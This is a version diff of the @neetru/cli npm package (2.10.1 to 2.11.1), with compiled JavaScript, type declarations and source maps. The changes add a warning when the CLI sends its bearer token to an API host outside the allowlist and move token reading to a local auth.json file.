@neetru/cli 2.10.1 → 2.11.1

package/dist/lib/api-client.js

@@ -1,4 +1,6 @@
 import { config } from './config.js';
+import { getActiveTokenSync } from './token-resolver.js';
+import { classifyApiUrl } from './url-allowlist.js';
 export class CliApiError extends Error {
     status;
     code;
@@ -21,10 +23,34 @@ function buildBaseUrl() {
     const raw = config.get('neetruApiUrl') ?? 'https://api.neetru.com';
     return raw.replace(/\/+$/, '');
 }
+// MASTER-HIGH-049 (2.11.0): warning one-shot quando o host customizado nao
+// bate na allowlist. Nao bloqueia a chamada (a politica de bloqueio fica
+// em `config set`); aqui so chama atencao do owner pra cada `neetru *`
+// rodando com um host estranho.
+let untrustedHostWarningEmitted = false;
+function maybeWarnUntrustedHost(rawUrl) {
+    if (untrustedHostWarningEmitted)
+        return;
+    if (process.env.NEETRU_SUPPRESS_LEGACY_WARNINGS)
+        return;
+    const result = classifyApiUrl(rawUrl);
+    if (result.trusted)
+        return;
+    untrustedHostWarningEmitted = true;
+    process.stderr.write(`⚠ usando host customizado: ${result.host} (fora da allowlist neetru.com/localhost)\n` +
+        `  Bearer token CLI sera enviado para este host. Verifique se eh confiavel.\n`);
+}
+/** Para tests — reseta o flag one-shot. */
+export function _resetUntrustedHostWarningForTests() {
+    untrustedHostWarningEmitted = false;
+}
 export async function apiRequest(path, opts = {}) {
     const baseUrl = buildBaseUrl();
     const url = `${baseUrl}${path.startsWith('/') ? path : `/${path}`}`;
-    const token = opts.token ?? config.get('neetruApiKey');
+    // MASTER-HIGH-049 (2.11.0): warning quando host nao-canonico.
+    maybeWarnUntrustedHost(baseUrl);
+    // MASTER-HIGH-048 (2.11.0): prefere auth.json (canonico) sobre Conf (legacy).
+    const token = opts.token ?? getActiveTokenSync();
     const headers = {
         'content-type': 'application/json',
         accept: 'application/json',
@@ -104,7 +130,9 @@ export async function apiRequest(path, opts = {}) {
 export async function* apiStream(path, opts = {}) {
     const baseUrl = buildBaseUrl();
     const url = `${baseUrl}${path.startsWith('/') ? path : `/${path}`}`;
-    const token = opts.token ?? config.get('neetruApiKey');
+    maybeWarnUntrustedHost(baseUrl);
+    // MASTER-HIGH-048 (2.11.0): mesmo helper aplica ao stream NDJSON.
+    const token = opts.token ?? getActiveTokenSync();
     const headers = {
         'content-type': 'application/json',
         accept: 'application/x-ndjson',

package/dist/lib/api-client.js.map

@@ -1 +1 @@
-{"version":3,"file":"api-client.js","sourceRoot":"","sources":["../../src/lib/api-client.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AAOrC,MAAM,OAAO,WAAY,SAAQ,KAAK;IAC3B,MAAM,CAAS;IACf,IAAI,CAAS;IACtB,YAAY,MAAc,EAAE,IAAY,EAAE,OAAe;QACvD,KAAK,CAAC,OAAO,CAAC,CAAC;QACf,IAAI,CAAC,IAAI,GAAG,aAAa,CAAC;QAC1B,IAAI,CAAC,MAAM,GAAG,MAAM,CAAC;QACrB,IAAI,CAAC,IAAI,GAAG,IAAI,CAAC;IACnB,CAAC;CACF;AAED,MAAM,OAAO,eAAgB,SAAQ,KAAK;IAC/B,KAAK,CAAW;IACzB,YAAY,OAAe,EAAE,KAAe;QAC1C,KAAK,CAAC,OAAO,CAAC,CAAC;QACf,IAAI,CAAC,IAAI,GAAG,iBAAiB,CAAC;QAC9B,IAAI,CAAC,KAAK,GAAG,KAAK,CAAC;IACrB,CAAC;CACF;AAmBD,SAAS,YAAY;IACnB,MAAM,GAAG,GAAG,MAAM,CAAC,GAAG,CAAC,cAAc,CAAC,IAAI,wBAAwB,CAAC;IACnE,OAAO,GAAG,CAAC,OAAO,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;AACjC,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,UAAU,CAAI,IAAY,EAAE,OAAuB,EAAE;IACzE,MAAM,OAAO,GAAG,YAAY,EAAE,CAAC;IAC/B,MAAM,GAAG,GAAG,GAAG,OAAO,GAAG,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,IAAI,EAAE,EAAE,CAAC;IACpE,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,IAAI,MAAM,CAAC,GAAG,CAAC,cAAc,CAAC,CAAC;IAEvD,MAAM,OAAO,GAA2B;QACtC,cAAc,EAAE,kBAAkB;QAClC,MAAM,EAAE,kBAAkB;KAC3B,CAAC;IACF,IAAI,KAAK;QAAE,OAAO,CAAC,eAAe,CAAC,GAAG,UAAU,KAAK,EAAE,CAAC;IACxD,IAAI,IAAI,CAAC,OAAO,EAAE,CAAC;QACjB,KAAK,MAAM,CAAC,CAAC,EAAE,CAAC,CAAC,IAAI,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,OAAO,CAAC;YAAE,OAAO,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;IACpE,CAAC;IAED,yEAAyE;IACzE,MAAM,eAAe,GAAG,IAAI,eAAe,EAAE,CAAC;IAC9C,MAAM,SAAS,GAAG,UAAU,CAAC,GAAG,EAAE,CAAC,eAAe,CAAC,KAAK,EAAE,EAAE,KAAK,CAAC,CAAC;IAEnE,uDAAuD;IACvD,MAAM,MAAM,GAAG,IAAI,CAAC,MAAM,CAAC;IAC3B,IAAI,MAAM,EAAE,CAAC;QACX,MAAM,CAAC,gBAAgB,CAAC,OAAO,EAAE,GAAG,EAAE,CAAC,eAAe,CAAC,KAAK,EAAE,CAAC,CAAC;IAClE,CAAC;IAED,IAAI,QAAkB,CAAC;IACvB,IAAI,CAAC;QACH,QAAQ,GAAG,MAAM,KAAK,CAAC,GAAG,EAAE;YAC1B,MAAM,EAAE,IAAI,CAAC,MAAM,IAAI,KAAK;YAC5B,OAAO;YACP,IAAI,EAAE,IAAI,CAAC,IAAI,KAAK,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,SAAS;YACrE,MAAM,EAAE,eAAe,CAAC,MAAM;SAC/B,CAAC,CAAC;IACL,CAAC;IAAC,OAAO,KAAK,EAAE,CAAC;QACf,MAAM,IAAI,eAAe,CACvB,sBAAsB,GAAG,KAAM,KAAe,CAAC,OAAO,EAAE,EACxD,KAAK,CACN,CAAC;IACJ,CAAC;YAAS,CAAC;QACT,YAAY,CAAC,SAAS,CAAC,CAAC;IAC1B,CAAC;IAED,MAAM,IAAI,GAAG,MAAM,QAAQ,CAAC,IAAI,EAAE,CAAC;IACnC,IAAI,MAAM,GAAY,SAAS,CAAC;IAChC,IAAI,IAAI,EAAE,CAAC;QACT,IAAI,CAAC;YACH,MAAM,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;QAC5B,CAAC;QAAC,MAAM,CAAC;YACP,oEAAoE;QACtE,CAAC;IACH,CAAC;IAED,IAAI,CAAC,QAAQ,CAAC,EAAE,EAAE,CAAC;QACjB,2DAA2D;QAC3D,mEAAmE;QACnE,MAAM,OAAO,GAAG,MAA+E,CAAC;QAEhG,IAAI,IAAI,GAAG,QAAQ,QAAQ,CAAC,MAAM,EAAE,CAAC;QACrC,IAAI,OAAO,GAAG,aAAa,QAAQ,CAAC,MAAM,EAAE,CAAC;QAE7C,IAAI,OAAO,EAAE,KAAK,EAAE,CAAC;YACnB,IAAI,OAAO,OAAO,CAAC,KAAK,KAAK,QAAQ,EAAE,CAAC;gBACtC,cAAc;gBACd,IAAI,GAAG,OAAO,CAAC,KAAK,CAAC;gBACrB,OAAO,GAAG,OAAO,CAAC,iBAAiB,IAAI,OAAO,CAAC,KAAK,CAAC;YACvD,CAAC;iBAAM,CAAC;gBACN,yBAAyB;gBACzB,IAAI,GAAG,OAAO,CAAC,KAAK,CAAC,IAAI,IAAI,IAAI,CAAC;gBAClC,OAAO,GAAG,OAAO,CAAC,KAAK,CAAC,OAAO,IAAI,OAAO,CAAC;YAC7C,CAAC;QACH,CAAC;aAAM,IAAI,OAAO,MAAM,KAAK,QAAQ,IAAI,MAAM,CAAC,IAAI,EAAE,KAAK,EAAE,EAAE,CAAC;YAC9D,OAAO,GAAG,MAAM,CAAC;QACnB,CAAC;QAED,MAAM,IAAI,WAAW,CAAC,QAAQ,CAAC,MAAM,EAAE,IAAI,EAAE,OAAO,CAAC,CAAC;IACxD,CAAC;IAED,OAAO,MAAW,CAAC;AACrB,CAAC;AAED;;;;;;;GAOG;AACH,MAAM,CAAC,KAAK,SAAS,CAAC,CAAC,SAAS,CAC9B,IAAY,EACZ,OAAsB,EAAE;IAExB,MAAM,OAAO,GAAG,YAAY,EAAE,CAAC;IAC/B,MAAM,GAAG,GAAG,GAAG,OAAO,GAAG,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,IAAI,EAAE,EAAE,CAAC;IACpE,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,IAAI,MAAM,CAAC,GAAG,CAAC,cAAc,CAAC,CAAC;IAEvD,MAAM,OAAO,GAA2B;QACtC,cAAc,EAAE,kBAAkB;QAClC,MAAM,EAAE,sBAAsB;KAC/B,CAAC;IACF,IAAI,KAAK;QAAE,OAAO,CAAC,eAAe,CAAC,GAAG,UAAU,KAAK,EAAE,CAAC;IAExD,IAAI,QAAkB,CAAC;IACvB,IAAI,CAAC;QACH,QAAQ,GAAG,MAAM,KAAK,CAAC,GAAG,EAAE;YAC1B,MAAM,EAAE,IAAI,CAAC,MAAM,IAAI,KAAK;YAC5B,OAAO;YACP,IAAI,EAAE,IAAI,CAAC,IAAI,KAAK,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,SAAS;YACrE,MAAM,EAAE,IAAI,CAAC,MAAM;SACpB,CAAC,CAAC;IACL,CAAC;IAAC,OAAO,KAAK,EAAE,CAAC;QACf,MAAM,IAAI,eAAe,CACvB,sBAAsB,GAAG,KAAM,KAAe,CAAC,OAAO,EAAE,EACxD,KAAK,CACN,CAAC;IACJ,CAAC;IAED,IAAI,CAAC,QAAQ,CAAC,EAAE,EAAE,CAAC;QACjB,MAAM,IAAI,GAAG,MAAM,QAAQ,CAAC,IAAI,EAAE,CAAC,KAAK,CAAC,GAAG,EAAE,CAAC,EAAE,CAAC,CAAC;QACnD,IAAI,IAAI,GAAG,QAAQ,QAAQ,CAAC,MAAM,EAAE,CAAC;QACrC,IAAI,OAAO,GAAG,aAAa,QAAQ,CAAC,MAAM,EAAE,CAAC;QAC7C,IAAI,CAAC;YACH,MAAM,OAAO,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAkC,CAAC;YAClE,IAAI,OAAO,OAAO,CAAC,KAAK,KAAK,QAAQ;gBAAE,IAAI,GAAG,OAAO,GAAG,OAAO,CAAC,KAAK,CAAC;iBACjE,IAAI,OAAO,CAAC,KAAK,EAAE,CAAC;gBACvB,IAAI,GAAG,OAAO,CAAC,KAAK,CAAC,IAAI,IAAI,IAAI,CAAC;gBAClC,OAAO,GAAG,OAAO,CAAC,KAAK,CAAC,OAAO,IAAI,OAAO,CAAC;YAC7C,CAAC;QACH,CAAC;QAAC,MAAM,CAAC;YACP,IAAI,IAAI,CAAC,IAAI,EAAE;gBAAE,OAAO,GAAG,IAAI,CAAC;QAClC,CAAC;QACD,MAAM,IAAI,WAAW,CAAC,QAAQ,CAAC,MAAM,EAAE,IAAI,EAAE,OAAO,CAAC,CAAC;IACxD,CAAC;IAED,IAAI,CAAC,QAAQ,CAAC,IAAI;QAAE,OAAO;IAE3B,MAAM,MAAM,GAAG,QAAQ,CAAC,IAAI,CAAC,SAAS,EAAE,CAAC;IACzC,MAAM,OAAO,GAAG,IAAI,WAAW,EAAE,CAAC;IAClC,IAAI,MAAM,GAAG,EAAE,CAAC;IAChB,IAAI,CAAC;QACH,OAAO,IAAI,EAAE,CAAC;YACZ,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,GAAG,MAAM,MAAM,CAAC,IAAI,EAAE,CAAC;YAC5C,IAAI,IAAI;gBAAE,MAAM;YAChB,MAAM,IAAI,OAAO,CAAC,MAAM,CAAC,KAAK,EAAE,EAAE,MAAM,EAAE,IAAI,EAAE,CAAC,CAAC;YAClD,IAAI,EAAE,GAAG,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;YAC9B,OAAO,EAAE,KAAK,CAAC,CAAC,EAAE,CAAC;gBACjB,MAAM,IAAI,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,IAAI,EAAE,CAAC;gBACxC,MAAM,GAAG,MAAM,CAAC,KAAK,CAAC,EAAE,GAAG,CAAC,CAAC,CAAC;gBAC9B,IAAI,IAAI,EAAE,CAAC;oBACT,IAAI,CAAC;wBACH,MAAM,IAAI,CAAC,KAAK,CAAC,IAAI,CAAM,CAAC;oBAC9B,CAAC;oBAAC,MAAM,CAAC;wBACP,2DAA2D;oBAC7D,CAAC;gBACH,CAAC;gBACD,EAAE,GAAG,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;YAC5B,CAAC;QACH,CAAC;QACD,MAAM,IAAI,GAAG,MAAM,CAAC,IAAI,EAAE,CAAC;QAC3B,IAAI,IAAI,EAAE,CAAC;YACT,IAAI,CAAC;gBACH,MAAM,IAAI,CAAC,KAAK,CAAC,IAAI,CAAM,CAAC;YAC9B,CAAC;YAAC,MAAM,CAAC;gBACP,4BAA4B;YAC9B,CAAC;QACH,CAAC;IACH,CAAC;YAAS,CAAC;QACT,MAAM,CAAC,WAAW,EAAE,CAAC;IACvB,CAAC;AACH,CAAC"}
+{"version":3,"file":"api-client.js","sourceRoot":"","sources":["../../src/lib/api-client.ts"],"names":[],"mappings":"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"}

package/dist/lib/auth.d.ts

@@ -18,4 +18,14 @@ export declare function saveToken(token: string, email: string): Promise<string>
  * Usado para exibir o usuário logado no cabeçalho do CLI.
  */
 export declare function resolveSessionEmail(): Promise<string | null>;
+/**
+ * MASTER-HIGH-048 (2.11.0) — leitura sincrona APENAS do `auth.json`.
+ *
+ * Helper interno usado por `getActiveTokenSync()` (em `token-resolver.ts`).
+ * Mantido aqui pra preservar o limite de escopo `auth.ts` = `auth.json`-only.
+ *
+ * Retorna `null` em qualquer falha (arquivo ausente, JSON invalido, token
+ * vazio). Pra erro detalhado, usar `loadToken()` async.
+ */
+export declare function readAuthJsonSync(): NeetruAuth | null;
 export declare function clearToken(): Promise<boolean>;

package/dist/lib/auth.js

@@ -13,7 +13,7 @@
  * }
  * ```
  */
-import { promises as fs, existsSync } from 'node:fs';
+import { promises as fs, existsSync, readFileSync } from 'node:fs';
 import { dirname, join } from 'node:path';
 import { homedir } from 'node:os';
 export function getAuthFilePath() {
@@ -102,6 +102,38 @@ export async function resolveSessionEmail() {
         return null;
     }
 }
+/**
+ * MASTER-HIGH-048 (2.11.0) — leitura sincrona APENAS do `auth.json`.
+ *
+ * Helper interno usado por `getActiveTokenSync()` (em `token-resolver.ts`).
+ * Mantido aqui pra preservar o limite de escopo `auth.ts` = `auth.json`-only.
+ *
+ * Retorna `null` em qualquer falha (arquivo ausente, JSON invalido, token
+ * vazio). Pra erro detalhado, usar `loadToken()` async.
+ */
+export function readAuthJsonSync() {
+    const authPath = getAuthFilePath();
+    if (!existsSync(authPath))
+        return null;
+    try {
+        const raw = readFileSync(authPath, 'utf8');
+        const parsed = JSON.parse(raw);
+        if (parsed &&
+            typeof parsed.token === 'string' &&
+            parsed.token.length > 0 &&
+            typeof parsed.email === 'string') {
+            return {
+                token: parsed.token,
+                email: parsed.email,
+                savedAt: parsed.savedAt ?? '',
+            };
+        }
+    }
+    catch {
+        // ignora — token ausente
+    }
+    return null;
+}
 export async function clearToken() {
     const path = getAuthFilePath();
     if (!existsSync(path))

package/dist/lib/auth.js.map

@@ -1 +1 @@
-{"version":3,"file":"auth.js","sourceRoot":"","sources":["../../src/lib/auth.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;GAcG;AACH,OAAO,EAAE,QAAQ,IAAI,EAAE,EAAE,UAAU,EAAE,MAAM,SAAS,CAAC;AACrD,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AAC1C,OAAO,EAAE,OAAO,EAAE,MAAM,SAAS,CAAC;AAQlC,MAAM,UAAU,eAAe;IAC7B,yEAAyE;IACzE,2EAA2E;IAC3E,4CAA4C;IAC5C,OAAO,IAAI,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,YAAY,EAAE,WAAW,CAAC,CAAC;AAC/D,CAAC;AAED,MAAM,OAAO,oBAAqB,SAAQ,KAAK;IAC7C;QACE,KAAK,CAAC,wCAAwC,CAAC,CAAC;QAChD,IAAI,CAAC,IAAI,GAAG,sBAAsB,CAAC;IACrC,CAAC;CACF;AAED,MAAM,OAAO,oBAAqB,SAAQ,KAAK;IAC7C,YAAY,OAAe;QACzB,KAAK,CAAC,OAAO,CAAC,CAAC;QACf,IAAI,CAAC,IAAI,GAAG,sBAAsB,CAAC;IACrC,CAAC;CACF;AAED,MAAM,CAAC,KAAK,UAAU,SAAS;IAC7B,MAAM,IAAI,GAAG,